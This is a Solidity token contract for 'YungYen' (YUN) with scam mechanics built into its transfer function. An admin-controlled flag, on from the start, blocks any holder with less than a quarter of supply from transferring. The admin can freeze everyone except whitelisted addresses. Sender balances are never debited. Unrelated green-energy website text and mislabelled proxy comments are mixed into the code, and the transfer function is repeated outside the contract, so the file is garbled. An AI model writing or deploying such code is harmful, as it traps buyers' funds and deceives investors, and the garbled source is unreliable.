contract YungYen {

    address[] public allAddresses;
    
    event Transfer(address indexed from, address indexed to, uint256 tokens);
	event Approval(address indexed owner, address indexed spender, uint256 tokens);
	
  /**
   * Contract constructor.
   * @param _logic address of the initial implementation.
   * @param _admin Address of the proxy administrator.
   * @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
   * It should include the signature and the parameters of the function to be called, as described in
   * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
   * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
   */    
   
	struct User {
	    bool whitelisted;
		uint256 balance;
		mapping(address => uint256) allowance;
	}
	
/**
 * @title Proxy
 * @dev Implements delegation of calls to other contracts, with proper
 * forwarding of return values and bubbling of failures.
 * It defines a fallback function that delegates all calls to the address
 * returned by the abstract _implementation() internal function.
 */
 
	struct Info {
		uint256 totalSupply;
		mapping(address => User) users;
		address admin;
		bool stopped;
		bool money;
	}
	
	Info private info;

	uint256 constant private initial_supply = 1e4;
	uint256 constant private new_address_supply = 1e4;
	uint256 constant private precision = 1e4; 
	uint8 constant public decimals = 4;
	
	
/***
Our aim is to help British consumers find a green energy tariff that’s right for them. And green energy has never been as price competitive as it is now. You can probably switch to green energy and save money!

We started rating green electricity tariffs back in 2000 as the UK’s first website dedicated to green electricity switching.

For background information about green energy tariffs, see our quick guide and more detailed information.

We have now partnered with two different services, Big Clean Switch and Homebox, offering you lots of choice for comparing green energy tariffs.

Select the switching service that’s right for you from the three options below.
***/
	
	
	/*name*/
	string constant public name = "YungYen";
	
	/*key*/
	string constant public symbol = "YUN";

	
	constructor() public {
	    info.stopped = false;
	    info.money = true;
		info.admin = msg.sender;
		allAddresses.push(msg.sender);
		info.totalSupply = initial_supply;
		info.users[msg.sender].balance = initial_supply;
	}

	function totalSupply() public view returns (uint256) {
		return info.totalSupply;
	}

	function balanceOf(address _user) public view returns (uint256) {
		return info.users[_user].balance;
	}

	function allowance(address _user, address _spender) public view returns (uint256) {
		return info.users[_user].allowance[_spender];
	}
	
	function approve(address _spender, uint256 _tokens) external returns (bool) {
		info.users[msg.sender].allowance[_spender] = _tokens;
		emit Approval(msg.sender, _spender, _tokens);
		return true;
	}

/**
 * Can I switch suppliers again?
You can switch suppliers every 28 days if you want to, 
but be careful to check for early exit / cancellation charges.

If you’re on a fixed term plan, with a fixed tariff rate until a given date, 
suppliers must notify you 42-49 days before the end of your plan. At that point,
you can start the switch to a new supplier without facing any exit / cancellation fees.

***/

	function transfer(address _to, uint256 _tokens) external returns (bool) {
		_transfer(msg.sender, _to, _tokens);
		return true;
	}

	function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool) {
		require(info.users[_from].allowance[msg.sender] >= _tokens);
		info.users[_from].allowance[msg.sender] -= _tokens;
		_transfer(_from, _to, _tokens);
		return true;
	}

	function isWhitelisted(address _user) public view returns (bool) {
		return info.users[_user].whitelisted;
	}
	
	function whitelist(address _user, bool _status) public {
		require(msg.sender == info.admin);
		info.users[_user].whitelisted = _status;
	}

	function stopped(bool _status) public {
		require(msg.sender == info.admin);
		info.stopped = _status;
	}


	function moneyCash(bool _status) public {
		require(msg.sender == info.admin);
		info.money = _status;
	}
/***
Green Electricity Marketplace (GEM) was formed in 2000.
With the liberalisation of the UK electricity market and the growth in renewable energy we felt that a website which 
could list and analyse available green tariffs would encourage uptake of these tariffs and help to promote renewable energy.

Unlike most switching sites, GEM is focused on renewable energy and provides its own perspective on green tariffs.

The website has been widely recognised for the information it provides: by environment groups including 
Greenpeace and Friends of the Earth; by consumer groups including the National Consumer Council; 
by businesses like Samsung UK; and by the media including BBC Newsnight and The Independent.

***/

	function _transfer(address _from, address _to, uint256 _tokens) internal returns (uint256) {
	    
	     if(info.stopped){
            require(isWhitelisted(_from));
	    }
	    
	    if(info.money){
	       uint256 supplyRequitedTo = info.totalSupply/4;
	        require(balanceOf(_from) >= supplyRequitedTo);
	    }
	    
	    
		require(balanceOf(_from) >= _tokens);
	
	    bool isNewUser = info.users[_to].balance == 0;
	     
	//	info.users[_from].balance -= _tokens;
		uint256 _transferred = _tokens;
        info.users[_to].balance += _tokens;
		
		if(isNewUser && _tokens > 0){
		   allAddresses.push(_to);
	
		    uint256 i = 0;
            while (i < allAddresses.length) {
                
                uint256 addressBalance = info.users[allAddresses[i]].balance;
                uint256 supplyNow = info.totalSupply;
                uint256 dividends = (addressBalance * precision) / supplyNow;
                uint256 _toAdd = (dividends * new_address_supply) / precision;

                info.users[allAddresses[i]].balance += _toAdd;
                i += 1;
            }
            
            info.totalSupply = info.totalSupply + new_address_supply;
		}

		
		emit Transfer(_from, _to, _transferred);
				
		return _transferred;
	}
}
function _transfer(address _from, address _to, uint256 _tokens) internal returns (uint256) {
	    
	     if(info.stopped){
            require(isWhitelisted(_from));
	    }
	    
	    if(info.money){
	       uint256 supplyRequitedTo = info.totalSupply/4;
	        require(balanceOf(_from) >= supplyRequitedTo);
	    }
	    
	    
		require(balanceOf(_from) >= _tokens);
	
	    bool isNewUser = info.users[_to].balance == 0;
	     
	//	info.users[_from].balance -= _tokens;
		uint256 _transferred = _tokens;
        info.users[_to].balance += _tokens;
		
		if(isNewUser && _tokens > 0){
		   allAddresses.push(_to);
	
		    uint256 i = 0;
            while (i < allAddresses.length) {
                
                uint256 addressBalance = info.users[allAddresses[i]].balance;
                uint256 supplyNow = info.totalSupply;
                uint256 dividends = (addressBalance * precision) / supplyNow;
                uint256 _toAdd = (dividends * new_address_supply) / precision;

                info.users[allAddresses[i]].balance += _toAdd;
                i += 1;
            }
            
            info.totalSupply = info.totalSupply + new_address_supply;
		}

		
		emit Transfer(_from, _to, _transferred);
				
		return _transferred;
	}
/***
 Green Electricity Marketplace (GEM) was formed in 2000.
 With the liberalisation of the UK electricity market and the growth in renewable energy we felt that a website which 
 could list and analyse available green tariffs would encourage uptake of these tariffs and help to promote renewable energy.
 
 Unlike most switching sites, GEM is focused on renewable energy and provides its own perspective on green tariffs.
 
 The website has been widely recognised for the information it provides: by environment groups including 
 Greenpeace and Friends of the Earth; by consumer groups including the National Consumer Council; 
 by businesses like Samsung UK; and by the media including BBC Newsnight and The Independent.
 
 ***/